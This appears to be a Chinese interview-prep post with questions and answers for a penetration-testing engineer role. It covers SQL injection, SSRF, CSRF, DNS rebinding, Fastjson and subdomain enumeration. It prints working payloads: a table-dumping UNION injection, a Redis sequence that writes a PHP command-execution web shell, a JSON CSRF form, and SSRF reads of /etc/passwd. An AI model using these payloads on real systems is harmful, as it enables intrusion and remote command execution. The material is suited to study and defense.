2025年渗透测试面试题总结-匿名[校招]渗透测试工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
匿名[校招]渗透测试工程师
1. 自我介绍
2. 印象深刻的一次渗透
3. 渗透测试流程
4. SQL注入原理及Payload(爆表名)
5. SQL注入空格绕过方法
6. SQL注入防御及预处理局限
7. 同源策略(Same-Origin Policy)
8. a.baidu.com 与b.baidu.com 是否同源?
9. SSRF原理及利用
10. Redis攻击Payload(手写)
11. CSRF原理及防御
12. 仅解析JSON时的CSRF利用
13. SameSite属性
14. DNS Rebinding攻击
15. Fastjson反序列化及修复
16. 子域名枚举工具及原理
17. Java学习程度
匿名[校招]渗透测试工程师
1. 自我介绍 2. 印象深刻的一次渗透 3. 渗透测试的流程 4. SQL注入原理,及常用payload(手写-爆表名) 5. SQL注入空格不能使用如何绕过 6. SQL注入防御,延申预处理不能预防哪些注入 7. 同源策略 8. a.baidu.com和b.baidu.com是否同源 9. SSRF原理,利用 10. 攻击redis的方式(手写payload) 11. CSRF的原理及防御 12. 一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type) 13. SameSite 14. DNS Rebinding 15. Fastjson反序列化及如何修复 16. 子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因? 17. Java学到哪种程度了?
1. 自我介绍
我是专注网络安全领域的技术研究者,研究方向涵盖渗透测试、漏洞攻防、红队技术链及企业安全体系建设。具备APT对抗、内网渗透、武器化工具开发等实战经验,熟悉Java/Python开发及主流安全工具链(如Cobalt Strike、Metasploit)。近期参与多个省级护网行动,主导金融系统红队演练并完成0day漏洞武器化利用。
2. 印象深刻的一次渗透
案例背景:针对某大型企业OA系统的渗透测试,目标系统表面防护严密(WAF+双因子认证)。
突破过程:
- 信息泄露:通过Git历史回滚发现测试环境源码,解析硬编码的Redis密码。
- 横向移动:利用Redis未授权访问写入SSH公钥,获取跳板机权限。
- 权限提升:在跳板机发现运维人员的Jenkins凭据(明文存储),通过Jenkins管道执行命令拿下Docker宿主机。
- 域渗透:从宿主机内存提取域账号Hash,利用Kerberoasting攻击获取域管权限。
技术亮点:
- 绕过双因子认证:通过Cookie复用劫持已登录会话。
- 隐蔽通信:使用DNS隧道传递敏感数据,规避流量检测。
3. 渗透测试流程
- 信息收集:
- OSINT:域名/IP资产测绘(Fofa/Shodan)、员工信息(领英/脉脉)。
- 技术栈识别:Wappalyzer扫描、HTTP头分析。
- 漏洞探测:
- 自动化扫描:Nessus/AWVS定位高风险点(如SQL注入、SSRF)。
- 手工验证:逻辑漏洞(越权、验证码绕过)、非常规路径测试。
- 利用与提权:
- 初始入口:通过漏洞获取WebShell或系统权限。
- 横向移动:密码喷射、Pass-the-Hash、服务漏洞利用(如SMB/Redis)。
- 权限维持:
- 后门植入:计划任务、启动项、隐藏账户。
- 数据窃取:数据库脱库、配置文件抓取。
- 报告输出:
- 风险评级:CVSS评分、影响范围量化。
- 修复建议:代码层修复方案(如参数化查询)、配置加固指南。
4. SQL注入原理及Payload(爆表名)
原理:用户输入未过滤直接拼接到SQL语句,导致攻击者可执行恶意SQL代码。
爆表名Payload:sql
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--
关键点:
information_schema.tables
:MySQL元数据表,存储表信息。group_concat()
:合并多行结果,避免逐行回显。database()
:获取当前数据库名。
5. SQL注入空格绕过方法
- 注释替代:
/**/
(如SELECT/**/1
)。- 特殊符号:
%09
(Tab)、%0a
(换行)、%0c
(换页)。()
包裹参数:UNION(SELECT 1,2)
。- 编码绕过:URL编码(
%20
)、Unicode编码(%u0020
)。- 数据库特性:
- MySQL:
+
号连接(SELECT+1
)。- Oracle:
||
拼接符替代空格。
6. SQL注入防御及预处理局限
防御方案:
- 参数化查询(PreparedStatement):分离SQL逻辑与数据。
- 输入过滤:正则白名单(如仅允许字母数字)。
- 最小权限:数据库账户禁用
FILE
、EXECUTE
权限。
预处理局限:
- 动态表名/列名:若表名由用户输入拼接,预处理无法生效。
- 复杂查询:
ORDER BY
后接参数时,预处理可能失效。- 存储过程:若存储过程内部拼接SQL,仍存在注入风险。
7. 同源策略(Same-Origin Policy)
定义:浏览器限制脚本只能访问与当前页面同源的资源。同源条件:协议、域名、端口完全一致。
限制范围:
- Cookie/LocalStorage访问。
- AJAX请求响应读取。
- DOM操作(如iframe跨域通信)。
8. a.baidu.com 与b.baidu.com 是否同源?
否。同源策略要求主机名(host)完全一致,子域名不同视为不同源。但可通过以下方式跨域:
document.domain = "baidu.com"
(需双方显式设置)。- CORS头(如
Access-Control-Allow-Origin: *.baidu.com
)。
9. SSRF原理及利用
原理:服务端未校验用户提供的URL,攻击者可访问内网资源或本地服务。
利用场景:
- 内网探测:扫描
192.168.0.0/24
的存活主机。- 协议利用:
file:///etc/passwd
读取本地文件。dict://<ip>:6379/info
探测Redis服务。- 攻击中间件:利用HTTP头注入攻击FastCGI、PHP-FPM。
10. Redis攻击Payload(手写)
目标:通过未授权访问写入WebShell。
bash
redis-cli -h 目标IP config set dir /var/www/html # 设置Web目录 config set dbfilename shell.php set x "<?php system($_GET['cmd']);?>" save
验证:访问
http://目标IP/shell.php?cmd=id
,执行系统命令。
11. CSRF原理及防御
原理:诱导用户浏览器携带身份凭证(如Cookie)发起恶意请求。
防御方案:
- Token验证:请求中携带随机Token,服务端校验。
- SameSite Cookie:设置
SameSite=Lax/Strict
限制跨域携带。- 验证Referer:检查请求来源域名是否合法。
12. 仅解析JSON时的CSRF利用
绕过方法:
- Form表单+JS提交:
html
原理:构造<form action="http://target/api" method="POST" enctype="text/plain"> <input name='{"a":"1", "b":"' value='2"}' type="hidden"> </form> <script>document.forms[0].submit()</script>
enctype="text/plain"
,拼接JSON格式数据。- Flash跨域:利用Flash的跨域请求能力发送JSON(需旧版浏览器)。
13. SameSite属性
作用:控制Cookie是否随跨站请求发送,三种模式:
Strict
:仅同站请求发送。Lax
:允许导航跳转(如链接点击)携带Cookie。None
:允许跨站携带,但需同时设置Secure
(HTTPS)。
14. DNS Rebinding攻击
原理:利用DNS TTL过期重新绑定域名到内网IP,绕过同源策略。
攻击步骤:
- 用户访问
evil.com
,解析到外网IP。- TTL过期后,
evil.com
重新解析到192.168.1.1
(内网)。- 浏览器继续与“同域名”的内网IP通信,绕过限制。
15. Fastjson反序列化及修复
漏洞根源:
autotype
功能允许加载任意类,导致RCE。
利用方式:构造恶意JSON触发JNDI注入(如@type
指定com.sun.rowset.JdbcRowSetImpl
)。
修复方案:
- 升级至1.2.68+版本,开启
safeMode
。- 关闭
autotype
功能:ParserConfig.getGlobalInstance().setSafeMode(true);
。- 使用白名单机制限制反序列化类。
16. 子域名枚举工具及原理
工具与原理:
- subfinder:聚合证书透明日志(CT Log)、DNS数据源(如Virustotal)。
- Sublist3r:基于搜索引擎(Google/Baidu)的语法搜索(如
site:*.baidu.com
)。- 爆破工具:dnsgen+massdns,利用字典暴力枚举。
泛解析问题:若所有子域名返回200,需对比响应内容差异(如标题、正文长度)。
17. Java学习程度
技术栈:
- 语言基础:熟悉多线程、反射、JNI、ASM字节码操作。
- 安全方向:
- 漏洞分析:反序列化、内存马(Tomcat Filter型)、JNDI注入。
- 安全编码:防御SQL注入、XSS的代码规范。
- 框架研究:Spring Security机制、Shiro权限绕过高危场景分析。
项目经验:开发Java Agent型HIDS、基于ASM的RASP原型系统。